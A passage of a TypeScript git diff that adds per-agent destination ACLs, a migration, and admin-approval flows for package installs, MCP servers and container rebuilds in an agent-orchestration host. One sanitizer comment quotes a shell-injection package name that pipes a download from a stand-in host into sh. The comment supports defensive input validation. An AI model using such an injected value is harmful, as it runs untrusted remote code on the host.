**Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call.
@@ -28,16 +42,14 @@ Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final o
### Internal thoughts
If part of your output is internal reasoning rather than something for the user, wrap it in `<internal>` tags:
If part of your output is internal reasoning rather than something for the reader, wrap it in `<internal>` tags — or just leave it as plain text outside any `<message>` block. Both are scratchpad.
```
<internal>Compiled all three reports, ready to summarize.</internal>
Here are the key findings from the research...
<message to="family">Here are the key findings from the research…</message>
```
Text inside `<internal>` tags is logged but not sent to the user. If you've already sent the key information via `send_message`, you can wrap the recap in `<internal>` to avoid sending it again.
### Sub-agents and teammates
When working as a sub-agent or teammate, only use `send_message` if instructed to by the main agent.

View File

@@ -11,6 +11,11 @@ import { DATA_DIR } from '../src/config.js';
import { initDb } from '../src/db/connection.js';
import { runMigrations } from '../src/db/migrations/index.js';
import { createAgentGroup, getAgentGroupByFolder } from '../src/db/agent-groups.js';
import {
createDestination,
getDestinationByName,
normalizeName,
} from '../src/db/agent-destinations.js';
import {
createMessagingGroup,
createMessagingGroupAgent,
@@ -41,6 +46,8 @@ interface RegisterArgs {
assistantName: string;
/** Session mode: 'shared' (one session per channel) or 'per-thread' */
sessionMode: string;
/** Optional local name the agent uses for this channel (defaults to normalized messaging group name) */
localName: string | null;
}
function parseArgs(args: string[]): RegisterArgs {
@@ -54,6 +61,7 @@ function parseArgs(args: string[]): RegisterArgs {
isMain: false,
assistantName: 'Andy',
sessionMode: 'shared',
localName: null,
};
for (let i = 0; i < args.length; i++) {
@@ -87,6 +95,9 @@ function parseArgs(args: string[]): RegisterArgs {
case '--session-mode':
result.sessionMode = args[++i] || 'shared';
break;
case '--local-name':
result.localName = args[++i] || null;
break;
}
}
@@ -168,7 +179,7 @@ export async function run(args: string[]): Promise<void> {
log.info('Created messaging group', { id: mgId, channel: parsed.channel, platformId: parsed.platformId });
}
// 3. Wire agent to messaging group
// 3. Wire agent to messaging group + create destination row for the agent's map
let newlyWired = false;
const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id);
if (!existing) {
@@ -190,7 +201,29 @@ export async function run(args: string[]): Promise<void> {
priority: parsed.isMain ? 10 : 0,
created_at: new Date().toISOString(),
});
log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id });
// Create destination row so the agent can address this channel by name.
// Auto-suffix on collision within this agent's namespace.
const baseLocalName = normalizeName(parsed.localName || parsed.name);
let localName = baseLocalName;
let suffix = 2;
while (getDestinationByName(agentGroup.id, localName)) {
localName = `${baseLocalName}-${suffix}`;
suffix++;
}
createDestination({
agent_group_id: agentGroup.id,
local_name: localName,
target_type: 'channel',
target_id: messagingGroup.id,
created_at: new Date().toISOString(),
});
log.info('Wired agent to messaging group', {
mgaId,
agentGroup: agentGroup.id,
messagingGroup: messagingGroup.id,
localName,
});
}
// 4. Send onboarding message — only on first wiring, not re-registration

View File

@@ -15,7 +15,13 @@ import { getAgentGroup } from './db/agent-groups.js';
import { getMessagingGroup } from './db/messaging-groups.js';
import { log } from './log.js';
import { validateAdditionalMounts } from './mount-security.js';
import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDir } from './session-manager.js';
import {
markContainerIdle,
markContainerRunning,
markContainerStopped,
sessionDir,
writeDestinationsFile,
} from './session-manager.js';
import type { AgentGroup, Session } from './types.js';
const onecli = new OneCLI({ url: ONECLI_URL });
@@ -53,6 +59,9 @@ export async function wakeContainer(session: Session): Promise<void> {
return;
}
// Refresh the destination map file so any admin changes take effect on wake
writeDestinationsFile(agentGroup.id, session.id);
const mounts = buildMounts(agentGroup, session);
const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`;
const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-');
@@ -235,6 +244,9 @@ async function buildContainerArgs(
if (agentGroup.name) {
args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`);
}
args.push('-e', `NANOCLAW_AGENT_GROUP_ID=${agentGroup.id}`);
args.push('-e', `NANOCLAW_AGENT_GROUP_NAME=${agentGroup.name}`);
args.push('-e', `NANOCLAW_IS_ADMIN=${agentGroup.is_admin ? '1' : '0'}`);
// OneCLI gateway — injects HTTPS_PROXY + certs so container API calls
// are routed through the agent vault for credential injection.

View File

@@ -0,0 +1,74 @@
/**
* Per-agent destination map + ACL.
*
* Each row means: agent `agent_group_id` is allowed to send messages to
* target (`target_type`, `target_id`), and refers to it locally as `local_name`.
*
* Names are local to each source agent — they exist only inside that agent's
* namespace. The host uses this table both for routing (resolve name → ID)
* and for permission checks (row exists ⇒ authorized).
*/
import type { AgentDestination } from '../types.js';
import { getDb } from './connection.js';
export function createDestination(row: AgentDestination): void {
getDb()
.prepare(
`INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at)
VALUES (@agent_group_id, @local_name, @target_type, @target_id, @created_at)`,
)
.run(row);
}
export function getDestinations(agentGroupId: string): AgentDestination[] {
return getDb()
.prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ?')
.all(agentGroupId) as AgentDestination[];
}
export function getDestinationByName(agentGroupId: string, localName: string): AgentDestination | undefined {
return getDb()
.prepare('SELECT * FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?')
.get(agentGroupId, localName) as AgentDestination | undefined;
}
/** Reverse lookup: what does this agent call the given target? */
export function getDestinationByTarget(
agentGroupId: string,
targetType: 'channel' | 'agent',
targetId: string,
): AgentDestination | undefined {
return getDb()
.prepare(
'SELECT * FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ?',
)
.get(agentGroupId, targetType, targetId) as AgentDestination | undefined;
}
/** Permission check: can this agent send to this target? */
export function hasDestination(
agentGroupId: string,
targetType: 'channel' | 'agent',
targetId: string,
): boolean {
const row = getDb()
.prepare(
'SELECT 1 FROM agent_destinations WHERE agent_group_id = ? AND target_type = ? AND target_id = ? LIMIT 1',
)
.get(agentGroupId, targetType, targetId);
return !!row;
}
export function deleteDestination(agentGroupId: string, localName: string): void {
getDb().prepare('DELETE FROM agent_destinations WHERE agent_group_id = ? AND local_name = ?').run(agentGroupId, localName);
}
/** Normalize a human-readable name into a lowercase, dash-separated identifier. */
export function normalizeName(name: string): string {
return (
name
.toLowerCase()
.replace(/[^a-z0-9]+/g, '-')
.replace(/^-+|-+$/g, '') || 'unnamed'
);
}

View File

@@ -62,7 +62,7 @@ describe('migrations', () => {
const db = initTestDb();
runMigrations(db);
const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number };
expect(row.v).toBe(3);
expect(row.v).toBe(4);
});
});

View File

@@ -0,0 +1,81 @@
import type Database from 'better-sqlite3';
import type { Migration } from './index.js';
/**
* Agent destinations: per-agent named map of allowed message targets.
*
* This table is BOTH the routing map and the ACL. A row exists iff the
* source agent is permitted to send to the target. No row = unauthorized.
*
* target_type: 'channel' references messaging_groups(id)
* target_type: 'agent' references agent_groups(id)
*
* Names are scoped per source agent — worker-1 may call the admin "parent"
* while admin calls the child "worker-1". The (agent_group_id, local_name)
* PK enforces uniqueness within a single agent's namespace only.
*/
export const migration004: Migration = {
version: 4,
name: 'agent-destinations',
up(db: Database.Database) {
db.exec(`
CREATE TABLE agent_destinations (
agent_group_id TEXT NOT NULL REFERENCES agent_groups(id),
local_name TEXT NOT NULL,
target_type TEXT NOT NULL,
target_id TEXT NOT NULL,
created_at TEXT NOT NULL,
PRIMARY KEY (agent_group_id, local_name)
);
CREATE INDEX idx_agent_dest_target ON agent_destinations(target_type, target_id);
`);
// Backfill from existing messaging_group_agents wirings.
// For each wired (agent, messaging_group), create a destination row
// using the messaging group's name (normalized) as the local name.
// Collisions get a -2, -3 suffix within each agent's namespace.
const rows = db
.prepare(
`SELECT mga.agent_group_id, mga.messaging_group_id, mg.channel_type, mg.name
FROM messaging_group_agents mga
JOIN messaging_groups mg ON mg.id = mga.messaging_group_id`,
)
.all() as Array<{
agent_group_id: string;
messaging_group_id: string;
channel_type: string;
name: string | null;
}>;
const takenByAgent = new Map<string, Set<string>>();
const insert = db.prepare(
`INSERT INTO agent_destinations (agent_group_id, local_name, target_type, target_id, created_at)
VALUES (?, ?, 'channel', ?, ?)`,
);
const now = new Date().toISOString();
for (const row of rows) {
const base = normalizeName(row.name || `${row.channel_type}-${row.messaging_group_id.slice(0, 8)}`);
const taken = takenByAgent.get(row.agent_group_id) ?? new Set<string>();
let localName = base;
let suffix = 2;
while (taken.has(localName)) {
localName = `${base}-${suffix}`;
suffix++;
}
taken.add(localName);
takenByAgent.set(row.agent_group_id, taken);
insert.run(row.agent_group_id, localName, row.messaging_group_id, now);
}
},
};
function normalizeName(name: string): string {
return (
name
.toLowerCase()
.replace(/[^a-z0-9]+/g, '-')
.replace(/^-+|-+$/g, '') || 'unnamed'
);
}

View File

@@ -4,6 +4,7 @@ import { log } from '../../log.js';
import { migration001 } from './001-initial.js';
import { migration002 } from './002-chat-sdk-state.js';
import { migration003 } from './003-pending-approvals.js';
import { migration004 } from './004-agent-destinations.js';
export interface Migration {
version: number;
@@ -11,7 +12,7 @@ export interface Migration {
up: (db: Database.Database) => void;
}
const migrations: Migration[] = [migration001, migration002, migration003];
const migrations: Migration[] = [migration001, migration002, migration003, migration004];
export function runMigrations(db: Database.Database): void {
db.exec(`

View File

@@ -19,8 +19,20 @@ import {
getSession,
createPendingApproval,
} from './db/sessions.js';
import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js';
import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js';
import {
getAgentGroup,
getAdminAgentGroup,
createAgentGroup,
updateAgentGroup,
getAgentGroupByFolder,
} from './db/agent-groups.js';
import {
createDestination,
getDestinationByName,
hasDestination,
normalizeName,
} from './db/agent-destinations.js';
import { getMessagingGroupByPlatform, getMessagingGroupsByAgentGroup } from './db/messaging-groups.js';
import { log } from './log.js';
import {
openInboundDb,
@@ -62,6 +74,83 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void {
deliveryAdapter = adapter;
}
/**
* Deliver a system notification to an agent as a regular chat message.
* Used for fire-and-forget responses from host actions (create_agent result,
* approval outcomes, etc.). The agent sees it as an inbound chat message
* with sender="system".
*/
function notifyAgent(session: Session, text: string): void {
writeSessionMessage(session.agent_group_id, session.id, {
id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: session.agent_group_id,
channelType: 'agent',
threadId: null,
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
});
// Wake the container so it picks up the notification promptly
const fresh = getSession(session.id);
if (fresh) {
wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err }));
}
}
/**
* Send an approval request to the admin channel and record a pending_approval row.
* The admin's button click routes via the existing ncq: card infrastructure to
* handleApprovalResponse in index.ts, which completes the action.
*/
async function requestApproval(
session: Session,
agentName: string,
action: 'install_packages' | 'request_rebuild' | 'add_mcp_server',
payload: Record<string, unknown>,
question: string,
): Promise<void> {
const adminGroup = getAdminAgentGroup();
const adminMGs = adminGroup ? getMessagingGroupsByAgentGroup(adminGroup.id) : [];
if (adminMGs.length === 0) {
notifyAgent(session, `${action} failed: no admin channel configured for approvals.`);
return;
}
const adminChannel = adminMGs[0];
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
createPendingApproval({
approval_id: approvalId,
session_id: session.id,
request_id: approvalId, // fire-and-forget: no separate request id to correlate
action,
payload: JSON.stringify(payload),
created_at: new Date().toISOString(),
});
if (deliveryAdapter) {
try {
await deliveryAdapter.deliver(
adminChannel.channel_type,
adminChannel.platform_id,
null,
'chat-sdk',
JSON.stringify({
type: 'ask_question',
questionId: approvalId,
question,
options: ['Approve', 'Reject'],
}),
);
} catch (err) {
log.error('Failed to deliver approval card', { action, approvalId, err });
notifyAgent(session, `${action} failed: could not deliver approval request to admin.`);
return;
}
}
log.info('Approval requested', { action, approvalId, agentName });
}
/** Show typing indicator on a channel. Called when a message is routed to the agent. */
export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise<void> {
try {
@@ -227,12 +316,27 @@ async function deliverMessage(
return;
}
// Agent-to-agent — route to target session
// Agent-to-agent — route to target session (with permission check)
if (msg.channel_type === 'agent') {
await routeAgentMessage(msg, session);
return;
}
// Permission check: the source agent must have a destination row for this target.
// Defense in depth — the container already validates via its local map, but the
// host's central DB is the authoritative ACL.
if (msg.channel_type && msg.platform_id) {
const mg = getMessagingGroupByPlatform(msg.channel_type, msg.platform_id);
if (!mg || !hasDestination(session.agent_group_id, 'channel', mg.id)) {
log.warn('Unauthorized channel destination — dropping message', {
sourceAgentGroup: session.agent_group_id,
channelType: msg.channel_type,
platformId: msg.platform_id,
});
return;
}
}
// Track pending questions for ask_user_question flow
if (content.type === 'ask_question' && content.questionId) {
createPendingQuestion({
@@ -293,7 +397,13 @@ async function deliverMessage(
return platformMsgId;
}
/** Route an agent-to-agent message to the target agent's session. */
/**
* Route an agent-to-agent message to the target agent's session.
*
* Permission is enforced via agent_destinations — the source agent must have
* a row for the target. Content is copied verbatim; the target's formatter
* will look up the source agent in its own local map to display a name.
*/
async function routeAgentMessage(
msg: { id: string; platform_id: string | null; content: string },
sourceSession: Session,
@@ -304,35 +414,29 @@ async function routeAgentMessage(
return;
}
const targetGroup = getAgentGroup(targetAgentGroupId);
if (!targetGroup) {
if (!hasDestination(sourceSession.agent_group_id, 'agent', targetAgentGroupId)) {
log.warn('Unauthorized agent-to-agent message — dropping', {
source: sourceSession.agent_group_id,
target: targetAgentGroupId,
});
return;
}
if (!getAgentGroup(targetAgentGroupId)) {
log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId });
return;
}
const sourceGroup = getAgentGroup(sourceSession.agent_group_id);
const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id;
// Find or create a session for the target agent
const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared');
// Enrich content with sender info
const content = JSON.parse(msg.content);
const enrichedContent = JSON.stringify({
text: content.text,
sender: sourceAgentName,
senderId: sourceSession.agent_group_id,
});
const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
writeSessionMessage(targetAgentGroupId, targetSession.id, {
id: messageId,
id: `a2a-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: sourceSession.agent_group_id,
channelType: 'agent',
threadId: null,
content: enrichedContent,
content: msg.content,
});
log.info('Agent message routed', {
@@ -341,10 +445,8 @@ async function routeAgentMessage(
targetSession: targetSession.id,
});
const freshSession = getSession(targetSession.id);
if (freshSession) {
await wakeContainer(freshSession);
}
const fresh = getSession(targetSession.id);
if (fresh) await wakeContainer(fresh);
}
/** Ensure the delivered table has new columns (migration for existing sessions). */
@@ -436,205 +538,176 @@ async function handleSystemAction(
case 'create_agent': {
const requestId = content.requestId as string;
const name = content.name as string;
let folder =
(content.folder as string) ||
name
.toLowerCase()
.replace(/[^a-z0-9_-]/g, '_')
.replace(/_+/g, '_');
const instructions = content.instructions as string | null;
try {
// Avoid duplicate folders
const { getAgentGroupByFolder } = await import('./db/agent-groups.js');
if (getAgentGroupByFolder(folder)) {
folder = `${folder}_${Date.now()}`;
}
const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
createAgentGroup({
id: agentGroupId,
name,
folder,
is_admin: 0,
agent_provider: null,
container_config: null,
created_at: new Date().toISOString(),
});
const groupPath = path.join(GROUPS_DIR, folder);
fs.mkdirSync(groupPath, { recursive: true });
if (instructions) {
fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions);
}
writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', {
agentGroupId,
name,
folder,
});
log.info('Agent group created via system action', { agentGroupId, name, folder });
} catch (e) {
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
error: e instanceof Error ? e.message : String(e),
});
const sourceGroup = getAgentGroup(session.agent_group_id);
if (!sourceGroup?.is_admin) {
// Notify the agent via a chat message (fire-and-forget pattern)
notifyAgent(session, `Your create_agent request for "${name}" was rejected: admin permission required.`);
log.warn('create_agent denied (not admin)', { sessionAgentGroup: session.agent_group_id, name });
break;
}
const localName = normalizeName(name);
// Collision in the creator's destination namespace
if (getDestinationByName(sourceGroup.id, localName)) {
notifyAgent(session, `Cannot create agent "${name}": you already have a destination named "${localName}".`);
break;
}
// Derive a safe folder name, deduplicated globally across agent_groups.folder
let folder = localName;
let suffix = 2;
while (getAgentGroupByFolder(folder)) {
folder = `${localName}-${suffix}`;
suffix++;
}
const groupPath = path.join(GROUPS_DIR, folder);
const resolvedPath = path.resolve(groupPath);
const resolvedGroupsDir = path.resolve(GROUPS_DIR);
if (!resolvedPath.startsWith(resolvedGroupsDir + path.sep)) {
notifyAgent(session, `Cannot create agent "${name}": invalid folder path.`);
log.error('create_agent path traversal attempt', { folder, resolvedPath });
break;
}
const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
const now = new Date().toISOString();
createAgentGroup({
id: agentGroupId,
name,
folder,
is_admin: 0,
agent_provider: null,
container_config: null,
created_at: now,
});
fs.mkdirSync(groupPath, { recursive: true });
if (instructions) {
fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions);
}
// Insert bidirectional destination rows (= ACL grants).
// Creator refers to child by the name it chose; child refers to creator as "parent".
createDestination({
agent_group_id: sourceGroup.id,
local_name: localName,
target_type: 'agent',
target_id: agentGroupId,
created_at: now,
});
// Handle the unlikely case where the child already has a "parent" destination
// (shouldn't happen for a brand-new agent, but be safe).
let parentName = 'parent';
let parentSuffix = 2;
while (getDestinationByName(agentGroupId, parentName)) {
parentName = `parent-${parentSuffix}`;
parentSuffix++;
}
createDestination({
agent_group_id: agentGroupId,
local_name: parentName,
target_type: 'agent',
target_id: sourceGroup.id,
created_at: now,
});
// Fire-and-forget notification back to the creator
notifyAgent(session, `Agent "${localName}" created. You can now message it with <message to="${localName}">...</message>.`);
log.info('Agent group created', { agentGroupId, name, localName, folder, parent: sourceGroup.id });
// Note: requestId is unused — this is fire-and-forget, not request/response.
void requestId;
break;
}
case 'add_mcp_server': {
const requestId = content.requestId as string;
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
notifyAgent(session, 'add_mcp_server failed: agent group not found.');
break;
}
const serverName = content.name as string;
const command = content.command as string;
const serverArgs = content.args as string[];
const serverEnv = content.env as Record<string, string>;
try {
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) throw new Error('Agent group not found');
const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {};
if (!containerConfig.mcpServers) containerConfig.mcpServers = {};
containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} };
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', {
message: `MCP server "${serverName}" added. Will take effect on next container restart.`,
});
log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName });
} catch (e) {
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
error: e instanceof Error ? e.message : String(e),
});
if (!serverName || !command) {
notifyAgent(session, 'add_mcp_server failed: name and command are required.');
break;
}
await requestApproval(session, agentGroup.name, 'add_mcp_server', {
name: serverName,
command,
args: (content.args as string[]) || [],
env: (content.env as Record<string, string>) || {},
}, `Agent "${agentGroup.name}" requests a new MCP server:\n${serverName} (${command})`);
break;
}
case 'install_packages': {
const requestId = content.requestId as string;
const apt = (content.apt as string[]) || [];
const npm = (content.npm as string[]) || [];
const reason = content.reason as string;
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' });
notifyAgent(session, 'install_packages failed: agent group not found.');
break;
}
// Find admin channel for approval card
const adminGroup = getAdminAgentGroup();
let approvalChannelType: string | null = null;
let approvalPlatformId: string | null = null;
const apt = (content.apt as string[]) || [];
const npm = (content.npm as string[]) || [];
const reason = (content.reason as string) || '';
if (adminGroup) {
const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id);
if (adminMGs.length > 0) {
approvalChannelType = adminMGs[0].channel_type;
approvalPlatformId = adminMGs[0].platform_id;
}
// Host-side sanitization (defense in depth — container should validate first).
// Strict allowlist: Debian/npm naming rules only. Blocks shell injection via
// package names like `vim; curl evil.com | sh`.
const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
const MAX_PACKAGES = 20;
if (apt.length + npm.length === 0) {
notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.');
break;
}
if (!approvalChannelType || !approvalPlatformId) {
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
error: 'No admin channel found for approval',
});
if (apt.length + npm.length > MAX_PACKAGES) {
notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`);
break;
}
const invalidApt = apt.find((p) => !APT_RE.test(p));
if (invalidApt) {
notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`);
log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt });
break;
}
const invalidNpm = npm.find((p) => !NPM_RE.test(p));
if (invalidNpm) {
notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`);
log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm });
break;
}
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
createPendingApproval({
approval_id: approvalId,
session_id: session.id,
request_id: requestId,
action: 'install_packages',
payload: JSON.stringify({ apt, npm, reason }),
created_at: new Date().toISOString(),
});
const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => `npm: ${p}`)].join(', ');
if (deliveryAdapter) {
await deliveryAdapter.deliver(
approvalChannelType,
approvalPlatformId,
null,
'chat-sdk',
JSON.stringify({
type: 'ask_question',
questionId: approvalId,
question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
options: ['Approve', 'Reject'],
}),
);
}
log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm });
const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', ');
await requestApproval(
session,
agentGroup.name,
'install_packages',
{ apt, npm, reason },
`Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
);
break;
}
case 'request_rebuild': {
const requestId = content.requestId as string;
const reason = content.reason as string;
const agentGroup = getAgentGroup(session.agent_group_id);
if (!agentGroup) {
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' });
notifyAgent(session, 'request_rebuild failed: agent group not found.');
break;
}
// Find admin channel for approval card
const adminGroup2 = getAdminAgentGroup();
let rebuildChannelType: string | null = null;
let rebuildPlatformId: string | null = null;
if (adminGroup2) {
const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id);
if (adminMGs2.length > 0) {
rebuildChannelType = adminMGs2[0].channel_type;
rebuildPlatformId = adminMGs2[0].platform_id;
}
}
if (!rebuildChannelType || !rebuildPlatformId) {
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
error: 'No admin channel found for approval',
});
break;
}
const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
createPendingApproval({
approval_id: rebuildApprovalId,
session_id: session.id,
request_id: requestId,
action: 'request_rebuild',
payload: JSON.stringify({ reason }),
created_at: new Date().toISOString(),
});
if (deliveryAdapter) {
await deliveryAdapter.deliver(
rebuildChannelType,
rebuildPlatformId,
null,
'chat-sdk',
JSON.stringify({
type: 'ask_question',
questionId: rebuildApprovalId,
question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`,
options: ['Approve', 'Reject'],
}),
);
}
log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name });
const reason = (content.reason as string) || '';
await requestApproval(
session,
agentGroup.name,
'request_rebuild',
{ reason },
`Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`,
);
break;
}

View File

@@ -22,8 +22,8 @@ import {
getSession,
} from './db/sessions.js';
import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js';
import { writeSessionMessage, writeSystemResponse } from './session-manager.js';
import { wakeContainer, buildAgentGroupImage } from './container-runner.js';
import { writeSessionMessage } from './session-manager.js';
import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js';
import { log } from './log.js';
// Channel barrel — each enabled channel self-registers on import.
@@ -177,7 +177,12 @@ async function handleQuestionResponse(questionId: string, selectedOption: string
await wakeContainer(session);
}
/** Handle an admin's response to an approval card. */
/**
* Handle an admin's response to an approval card.
* Fire-and-forget model: the agent doesn't poll for this — we write a chat
* notification to its session DB, and optionally kill the container so the
* next wake picks up new config/images.
*/
async function handleApprovalResponse(
approval: import('./types.js').PendingApproval,
selectedOption: string,
@@ -189,52 +194,69 @@ async function handleApprovalResponse(
return;
}
if (selectedOption === 'Approve') {
const payload = JSON.parse(approval.payload);
if (approval.action === 'install_packages') {
const agentGroup = getAgentGroup(session.agent_group_id);
const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] };
if (payload.apt) containerConfig.packages.apt.push(...payload.apt);
if (payload.npm) containerConfig.packages.npm.push(...payload.npm);
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', {
message: 'Packages approved. Run request_rebuild to apply.',
approved: { apt: payload.apt, npm: payload.npm },
});
log.info('Package install approved', { approvalId: approval.approval_id, userId });
} else if (approval.action === 'request_rebuild') {
try {
await buildAgentGroupImage(session.agent_group_id);
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', {
message: 'Container image rebuilt. Changes will take effect on next container start.',
});
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
} catch (e) {
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', {
error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`,
});
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
}
}
} else {
// Rejected
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', {
error: `Request rejected by admin (${userId})`,
const notify = (text: string): void => {
writeSessionMessage(session.agent_group_id, session.id, {
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
kind: 'chat',
timestamp: new Date().toISOString(),
platformId: session.agent_group_id,
channelType: 'agent',
threadId: null,
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
});
};
if (selectedOption !== 'Approve') {
notify(`Your ${approval.action} request was rejected by admin.`);
log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId });
deletePendingApproval(approval.approval_id);
await wakeContainer(session);
return;
}
const payload = JSON.parse(approval.payload);
if (approval.action === 'install_packages') {
const agentGroup = getAgentGroup(session.agent_group_id);
const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] };
if (payload.apt) containerConfig.packages.apt.push(...payload.apt);
if (payload.npm) containerConfig.packages.npm.push(...payload.npm);
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', ');
notify(`Packages approved (${pkgs}). Call request_rebuild to apply them.`);
log.info('Package install approved', { approvalId: approval.approval_id, userId });
} else if (approval.action === 'request_rebuild') {
try {
await buildAgentGroupImage(session.agent_group_id);
// Kill the container so the next wake uses the new image
killContainer(session.id, 'rebuild applied');
notify('Container image rebuilt. Your container will restart with the new image on the next message.');
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
} catch (e) {
notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`);
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
}
} else if (approval.action === 'add_mcp_server') {
const agentGroup = getAgentGroup(session.agent_group_id);
const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
if (!containerConfig.mcpServers) containerConfig.mcpServers = {};
containerConfig.mcpServers[payload.name] = {
command: payload.command,
args: payload.args || [],
env: payload.env || {},
};
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
// Kill the container so next wake loads the new MCP server config
killContainer(session.id, 'mcp server added');
notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`);
log.info('MCP server add approved', { approvalId: approval.approval_id, userId });
}
deletePendingApproval(approval.approval_id);
// Wake container so the agent's polling MCP tool picks up the response
if (session) {
await wakeContainer(session);
}
await wakeContainer(session);
}
/** Graceful shutdown. */

View File

@@ -11,6 +11,9 @@ import fs from 'fs';
import path from 'path';
import { DATA_DIR } from './config.js';
import { getAgentGroup } from './db/agent-groups.js';
import { getDestinations } from './db/agent-destinations.js';
import { getMessagingGroup } from './db/messaging-groups.js';
import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js';
import { log } from './log.js';
import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js';
@@ -128,6 +131,46 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void
}
}
/**
* Write the destination map file into the session folder.
* Called before every container wake so admin changes take effect on next start.
